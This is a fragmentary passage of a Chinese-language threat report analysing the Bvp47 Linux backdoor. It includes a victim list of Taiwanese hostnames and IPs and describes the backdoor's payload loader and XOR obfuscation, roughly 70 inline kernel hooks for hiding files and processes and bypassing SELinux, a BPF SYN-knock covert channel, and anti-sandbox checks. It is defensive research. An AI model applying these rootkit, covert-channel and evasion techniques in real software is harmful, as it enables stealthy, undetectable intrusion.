中国澳门特别行政区

中国澳门特别行政区

中国澳门特别行政区

中国澳门特别行政区

中国台湾

中国台湾

台湾省新竹市国立交通大学

台湾省新竹市国立交通大学

expos.ee.nctu.edu.tw

twins.ee.nctu.edu.tw

soldier.ee.nctu.edu.tw

royals.ee.nctu.edu.tw

mail.et.ntust.edu.tw

mail.dyu.edu.tw

mail.ncue.edu.tw

aries.ficnet.net

ns.chining.com.tw

mail.tccn.edu.tw

mail.must.edu.tw

ultra10.nanya.edu.tw

140.113.212.20

140.113.212.26

140.113.212.31

140.113.212.9

140.118.2.53

163.23.1.73

163.23.225.100

202.145.137.19

202.39.26.50

203.64.35.108

203.68.220.40

203.68.40.6

中国台湾

中国台湾

中国台湾

中国台湾

中国台湾

中国台湾

中国台湾

中国台湾

中国台湾

中国台湾

中国台湾

中国台湾

台湾省新竹市国立交通大学

台湾省新竹市国立交通大学

台湾省新竹市国立交通大学

台湾省新竹市国立交通大学

台湾省台北市国立台湾科技大学

台湾省大叶大学

台湾省彰化师范大学

台湾省台湾固网

台湾省中华电信

台湾省花莲县慈济科技大学

台湾省 

台湾省 

mail.hccc.gov.tw 210.241.6.97 中国台湾 台湾省 
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原始文件列表：
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在2015年事件响应过程中，根据实际的流量记录，受害列表中的日本地区210.135.90.0/24网段

存在作为C2服务器的行为，即攻击者会利用受害主机作为跳板对目标进行攻击：

众多针对中国的攻击线索中，最早的一条可以追溯到2002年：

利用受害主机作为跳板攻击目标
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Bvp47 的实现包含了复杂的代码、区段加解密，Linux多版本平台适配，丰富的 rootkit 反追踪技

巧，最重要的是集成了高级隐蔽信道中所使用的BPF引擎高级利用技巧，以及繁琐的通信加解密流程。 

本章节将就以上方面进行分析。 

Bvp47 在重要动作执行流程方面主要分为两个关键环节， “程序初始化运行”和“隐蔽信道通信”

环节。 

在“程序初始化运行”时主要有如下几个关键点， 

1. 分 Linux 用户态和内核态操作，用户态进程会保持存活 ；

2. 进行 Bvp 引擎初始化 ；

3. 一系列的环境检测，环境信息不匹配样本就自动清除；

4. 一系列的 payload 区块解密 ；

5. 篡改内核 devmem 限制，允许用户态直接读写内核空间等内核技巧； 

6. 装载非标准的 lkm 模块文件 ；

7. Hook 系统函数进行自身进程，文件，网络隐藏，自删除检测在“隐蔽信道通信”环节大致如下：  

a) Bvp47 接收到服务端发过来的SYN包后，会进入BPF过滤规则（见下文）进行数据包格式匹配； 

b) 只有满足操作 1 中的 BPF 规则后，会进行 RSA+RC-X 等加密算法的解密； 

c) 根据解密后的指令进行对应命令操作； 

主要行为 

6. Bvp47后门技术详解 
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Bvp47 的整个文件采用后门常用打包方式，即将后门功能模块进行压缩、拼装后置文件末尾，整

体以附加数据的形式存在。附加数据通过内置在程序内部的 loader 功能模块进行加载，主要完成以下

几个步骤： 

读取 

校验 

解压 

解密 

装载 

其中 payload 主要数据结构如下： 

具体对应到样本详细内容如下： 

Payload 

28www.pangulab.cn北京奇安盘古实验室科技有限公司



利用 010Editor 解析效果如下： 
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在解密方面 payload 的 loader 会， 

1. 调用四个不同的解密函数（底层解密方式一样）来完成各个分片解压操作； 

2. 完成操作 1 后，loader 会继续调用 Xor 0x47 算法（见其它章节）完成分片的解密操作； 

   具体的几个解密函数如下： 
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Bvp47 样本中大量对字符串，区块进行加密，防止暴露的可能性，而这些加密技巧主要基于异或

方式的变幻，这些细微变化会给追踪者造成不小的分析成本。

根据分析主要有 8 种变幻： 

其中 0xa8a16d65_xor 算法如下： 

字符串加解密 
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Bvp47 的 payload 中的部分代码分片模块中的导出函数普遍使用“数字名称”的形式对外提供接

口服务，这样的混淆对于追踪者在分析导出接口的功能分析形成了不小的障碍： 

函数名混淆技巧
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Bvp47 为了提高自身的通用性而大量使用动态计算 Linux 内核数据和函数地址，与此同时为了从

根本上兼容大量 Linux 内核数据和 payload 中各个独立开发出来的区段，他们研发了 Bvp 引擎企图从

编译和运行时层面来动态重定向和适配 Bvp47 所需的系统函数和数据结构。 

 Bvp 引擎适配了大量的函数和数据结构： 

Bvp 引擎
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在 0x0b 和 0x10 中都各自存在一种用来记录和描述 Bvp 引擎信息的结构体：

在 0x0b 中解析 Bvp 引擎格式的效果图： 

上图中的MD5值的计算方式， 即读取/proc/version内容，直接计算MD5 值作为操作系统内核的

唯一标识，不同版本的内核会对应相应的MD5和结构值。

为了验证该 MD5 值的准确性，收集一系列的内核版本如下： 
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系统 Hook  

并对内核信息，即/proc/version 内容进行 MD5 计算（图中上半部标记了数字版本号的 MD5 值

都可以在 Bvp47 中找到，都是受影响的系统版本）： 

Bvp47 主要 Hook 了 Linux 操作系统内核中近 70 多处流程函数，主要用来实现网络、进程、文

件隐藏，和 SeLinux 绕过等，具体列表如下： 

被 Hook 函数 Hook 位置 Hook 技术方式 

devmem_is_allowed 

page_is_ram 

sys_swapon 

si_swapinfo 

do_fork 

release_task 

dev_ioctl 

d_alloc 

函数中间 

函数中间 

函数开头 

函数开头 

函数中间 

函数开头 

函数开头 

函数开头 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

vfs_readdir 

sys_unlink 

sys_rmdir

vfs_getattr 

vfs_getattr64 

tcp4_seq_show 

listening_get_next 

established_get_next 

udp4_seq_show 

raw_seq_show  

函数开头 

函数中间 

函数中间 

函数开头 

函数开头 

函数开头 

函数开头 

函数开头 

函数开头 

函数开头 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 
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packet_seq_show 

unix_seq_show 

Selinux_xxx_ 

get_raw_sock 

get_raw_sock 

sock_init_data 

tcp_time_wait 

unix_accept 

read_mem 

__inode_dir_notify 

avc_has_perm 

do_mount 

proc_pid_readdir 

kill_something_info 

sys_kill 

sys_rt_sigqueueinfo 

sys_tkill 

sys_tgkill 

sys_getpriority 

sys_setpriority 

sys_getpgid 

sys_getsid 

sys_capget 

setscheduler 

sys_umount 

do_acct_process 

函数开头 

函数开头 

函数开头 

函数开头 

函数开头 

函数开头 

函数中间 

函数开头 

函数开头 

函数开头 

函数中间 

函数开头 

函数开头 

函数中间 

函数开头 

函数开头 

函数开头 

函数开头 

函数开头 

函数开头 

函数开头 

函数开头 

函数开头 

函数开头 

函数开头 

函数开头 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

sys_sched_getscheduler 

sys_sched_getparam 

sched_getaffinity 

sched_setaffinity 

函数中间 

函数中间 

函数中间 

函数中间 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

proc_root_lookup 函数开头 inline hook 
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例 1： __d_lookup 函数具体的 hook 前后对比： 

sys_sched_rr_get_interval 

sys_ptrace 

sys_wait4 

sys_waitid 

do_execve 

sys_close 

sys_open 

sys_read 

sys_write 

sys_dup 

sys_dup2 

sys_accept 

函数中间 

函数开头 

函数开头 

函数开头 

函数开头 

函数开头 

函数开头 

函数开头 

函数开头 

函数开头 

函数开头 

函数开头 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

sys_bind 

sys_connect 

sys_sendto 

sys_sendmsg 

sys_recvfrom 

sys_recvmsg 

函数开头 

函数开头 

函数中间 

函数中间 

函数中间 

函数中间 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 

inline hook 
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Bvp47 在 Hook 掉__d_lookup 函数后主要用于自身文件的隐藏和触发自删除 流 程 ， 利 用 hook 

__d_lookup 来 校 验 上 层 应 用 是 否 试 图 访 问 /usr/bin/modload 文件，具体 handle 函数前面部

分如下： 

在 handler 函数大量使用即时查找处理函数的技巧： 
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例 2： devmem_is_allowed 函数具体的 hook 前后对比： 

Hook devmem_is_allowed 后，用户态的 Bvp47 就可以任意读写内核空间了。
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例 3： avc_has_perm 函数具体的 hook 前后对比： 

Bvp47 通过内部 inline hook avc_has_perm 后，就可以直接绕过 SeLinux的限制进行任意操作。 
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例 4： sys_read 函数具体的 hook 前后对比： 

Bvp47 会在 sys_read 中对读取操作进行过滤。
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内核模块防检测

BPF 隐蔽信道

Bvp47 会通过修改内核模块 elf 文件的前四个字节，达到躲避内存搜索 elf 的目的，并通过自己的 

lkm loader 进行加载。 

BPF（Berkeley Packet Filter）是 Linux 内核中用来过滤自定义格式数据包的内核引擎，它可以提

供一套规定的语言供用户层的普通进程来过滤指定数据包。

Bvp47 直接利用 BPF 的这个特性作为隐蔽信道环节中在 Linux 内核层面的高级技巧，避免直接的

内核网络协议栈 hook 被追踪者检测出来。 

具体的 BPF 汇编如下，只有满足这部分规则的 SYN 数据包(还包括UDP包)才会进入下一个加解密

流程进行处理： 
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常见BPF Trigger数据包为TCP包，并且TCP包携带数据总大小为0x88字节，Trigger Packege字段

大小结构如图：

字段结构图：

红色部分，数据⻓度0x0088异或0xE6CF；

绿色部分，解密后数据的实际长度；

深蓝部分，紫色Random与0x9D6A异或；
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信道加密与解密

Bvp47 在隐蔽信道和后续的反弹连接动作中都使用了非对称算法 RSA 和RC-X 算法作为通信链路

安全的保障，中间计算会涉及到收发包的时间，长度等因子影响，其中部分密钥对如下： 
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在后续接到反弹命令后，Bvp47 会进入接收反弹包解密流程： 
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运行环境检测 

Bvp47 为了更好的保护自身，作了一系列的运行环境的检测，防止样本被获取后直接被追踪者进

行动态分析。在 payload 第一个区块解密后会得到 32 位无符号整形值，该值主要用来作 checksum 

来对运行环境进行校验。具体校验方法如下： 

1.  Loader 执行 statvsf(“/”, &stats);  

2.  获取操作 1 执行结果中的 blocks 和 files； 

3.  进行 blocks ^ files == checksum ? 结果比较，满足相等则判断为当前环境符合运行； 
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其它技术特点

不受信任的程序往往由沙箱运行并监测行为。程序运行时往往并没有真正落地，也就时说此时的

argv[0]所指路径并不是程序的真正路径。程序通过syscall调用lstat，以求绕过SandboxRing3的

Hook，查看argv[0]所指的文件是否真实存在。

1.  利用setrlimit api来设置core dump文件（内核转存文件）大小0，防止样本提取；

2.  argv[0]与lstat结合的反沙箱技术；

mkstmp时用来在Linux /tmp目录下生成临时文件的Api。（猜测时由于当时沙箱并没有对这个Api

提供支持，或者沙箱策略禁用了mkstmp。因此可以用mkstmp调用是否成功来识别沙箱）。

3.  mkstmp 反沙箱技术

沙箱中的/boot目录下的文件往往只有2个一个文件/boot/.另一个/boot/..。所以只要打开/boot目

录统计/boot目录下的文件个数，往往可以识别沙箱。（Windows上会通过TEMP目录下的临时文

件数）。

4.  /boot 反沙箱技术

任何沙箱只会为每个样本分配有限的时间。因此调用大量合法Api，以达到延迟执行，用以躲过沙

箱的起爆分析。

5.  Aip Flooting 与 延迟执行
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7. 总结
作为一个高级攻击工具， Bvp47 让世人见识到了它的复杂性，针对性和前瞻性，让人震惊的是在

分析之后认识到它存在的时间可能已经长达十几年之久。通过 The Shadow Brokers Leaks和NSA 

ANT catalog渠道了解到的信息，它背后的工程基本涉及*nix全平台，它所应用的高级 SYNKnock 隐

蔽信道技术从Cisco 平台、Solaris、AIX、SUN，再到 Windows 平台都可能涉及。 

到底是什么样的力量在驱动着它的发展？或许可以从多个受害单位人得到部分得答案，这些单位

普遍来自于国家要害部门。 

盘古实验室作为一支坚持高精尖技术驱动的网络安全团队，很清醒的认识到世界超一流 APT 组织

在攻击技术上的强大能力，唯有保持在信息安全攻防前沿技术的积极探索和重要事件的持续跟进，与

全球产业界协同防御，才有可能在未来的网络对抗中保护用户。 
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3.  NSA ANT catalog – Wikipedia    https://en.wikipedia.org/wiki/NSA_ANT_catalog 
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北京奇安盘古实验室科技有限公司是在知名安全团队盘古实验室基础上成立，专注于高级安全研

究和攻防对抗研究，在操作系统、虚拟化、物联网和应用安全研究上拥有扎实的研究能力和经验。

关于盘古实验室


